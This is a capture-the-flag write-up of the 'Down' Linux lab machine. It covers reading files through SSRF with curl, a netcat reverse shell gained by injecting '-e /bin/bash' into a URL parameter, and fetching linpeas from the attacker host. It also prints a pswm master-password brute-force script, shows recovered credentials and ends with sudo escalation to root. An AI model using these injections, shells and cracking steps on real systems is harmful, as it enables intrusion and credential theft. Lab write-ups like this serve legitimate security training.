Down is a vulnerable Linux machine that involves exploiting a web application with an SSRF attack. We are able to gain remote code execution and establish a reverse shell. Further enumeration on the target machine exposes a pswm file in a users home directory. The pwsm
uses Python’s cryptocode
module and a master password to encrypt and decrypt the data. Once obtaining the master password, we are able to decrypt the pswm table and grab passwords. The compromised user is a member of the sudo
group, allowing the user to escalate and obtain root access.
Enumeration
Target IP: 10.129.16.203 Attacker IP: 10.10.14.110
nmap -sCVS 10.129.16.203
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
|_ 256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Is it down or just me?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Lets check out the web application on port 80.
It looks like this web application is used for checking if a website is down. I’m not sure how exactly it does this so lets open up Burp Suite and intercept some requests so we can get a better idea of how this is done.
We are going to send a request of http://test.com
and intercept it via burpsuite.
We go ahead and click the button Is it down?
We right click on our interception and send it to the Repeater.
At an initial glance not much is here. We can tell that there is one parameter that the server is looking for which is url, and that is where we input http://test.com
What would happen if we were to host our own server and insert it into the web application?
python -m http.server 80
This happens to work and we can see that traffic has come through.
nc -lvnp 80
Lets set up a listener on our end as well and run our IP through the web application to see what output we get.
It looks like we may be able to read some files from our target since it is requesting curl.
SSRF
We can use the -T
flag with curl to upload a file we want to our listener.
Remember to set up your listener so that we can catch this request. We are firstly going to try and read /etc/passwd
This works! I will also note down the user that we have found, aleks
. Let us now search for some common files with this method.
Lets grab index.php and see if there is any interesting code here. We save the output from our listener.
Come on man right in index.php xD
Also, what is expertmode? It looks like there may be a web page we did not account for.
http://10.129.16.203/index.php?expertmode=tcp
I have a hunch that we can establish a reverse shell with this. Within netcat we can try setting up a shell using the -e flag. This allows “program” to execute after connecting.
Lets set up our listener and send our request.
nc -lvnp 80
If we try it through the GUI interface it errors us out. Lets intercept the request with Burp Suite and try sending it that way.
We add this to the end of ip line: -e+/bin/bash
We take a look back at our listener (I am using penelope which is a useful shell handler for interactive sessions, find it here: https://github.com/brightio/penelope)
We have our initial access as www-data.
www-data Enumeration
Lets run linpeas.sh on our target. This script automates the enumeration process to make it easier for us to find any interesting files or misconfigurations in the system. Find it here: https://github.com/peass-ng/PEASS-ng/releases/tag/20250701-bdcab634
Set up a python server in the directory of where your linpeas script was saved.
On the target machine you are going to request linpeas.sh from your python server. In my case, I would run wget http://10.10.14.110:8000
I’m going to get grabbing the file in the /tmp directory of our target machine.
Once we download linpeas.sh make sure to make it executable and then we can run the script.
chmod +x linpeas.sh
./linpeas.sh
We find some interesting files, notably pswm in alek’s home directory.
pswm
pswm is a command line password manager written in Python. You can find out more information here: https://github.com/Julynx/pswm
We cd
to /home/aleks/.local/share/pswm
and cat pswm
We get this long string
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==www-d
With some more googling I find out that we can break into pswm with a master password to retrieve the table contents. Luckily, someone has already created a script for this and released it to the public so we won’t have to write this out. Find the script here: https://github.com/seriotonctf/pswm-decryptor
import cryptocode
import argparse
from prettytable import PrettyTable
class CustomHelpFormatter(argparse.HelpFormatter):
def __init__(self, prog):
super().__init__(prog, max_help_position=50)
def bf(encrypted_text, wordlist):
with open(wordlist, "r", encoding="utf-8") as f:
for password in f:
decrypted_text = cryptocode.decrypt(encrypted_text, password.strip())
if decrypted_text:
print("[+] Master Password: %s" % password.strip())
print_decrypted_text(decrypted_text)
return
print("[-] Password Not Found!")
def print_decrypted_text(decrypted_text):
table = PrettyTable()
table.field_names = ["Alias", "Username", "Password"]
for line in decrypted_text.splitlines():
alias, username, password = line.split("\t")
table.add_row([alias.strip(), username.strip(), password.strip()])
table.align = "l"
print("[+] Decrypted Data:")
print(table)
def main():
parser = argparse.ArgumentParser(description="pswm master password cracker", formatter_class=CustomHelpFormatter)
parser.add_argument("-f", "--file", required=True, help="Path to the encrypted file")
parser.add_argument("-w", "--wordlist", required=True, help="Path to the wordlist file")
args = parser.parse_args()
with open(args.file, "r") as f:
encrypted_text = f.read().strip()
bf(encrypted_text, args.wordlist)
if __name__ == "__main__":
main()
Lets compare this decyptor script to the original pswm script from the github repository.
import cryptocode
First off, the same library cryptocode is imported into the decryptor script. This is necessary because this can give us an insight of how the password is encrypted/decrypted. Here is the source of the cryptocode library to learn more: https://github.com/gdavid7/cryptocode
The pswm_decryptor script will attempt master passwords from our wordlist, and once it gets a hit, we will be able to see the contents of the pswm table.
python pswm-decrpypt.py -f alekspwm -w ~/Downloads/rockyou.txt
We get a passwords for aleks
aleks:1uY3w22uc-Wr{xNHR~+E
Lets ssh into the server with aleks credentials.
After logging in I ran sudo -l
to check permissions of aleks and we see that the account is able to run (ALL : ALL) ALL
We run id
and see the aleks is apart of the sudo group.
Lets simply switch our user to root with sudo.
sudo su root
This is a pretty easy win, we just switch over to root and capture our last flag. pwned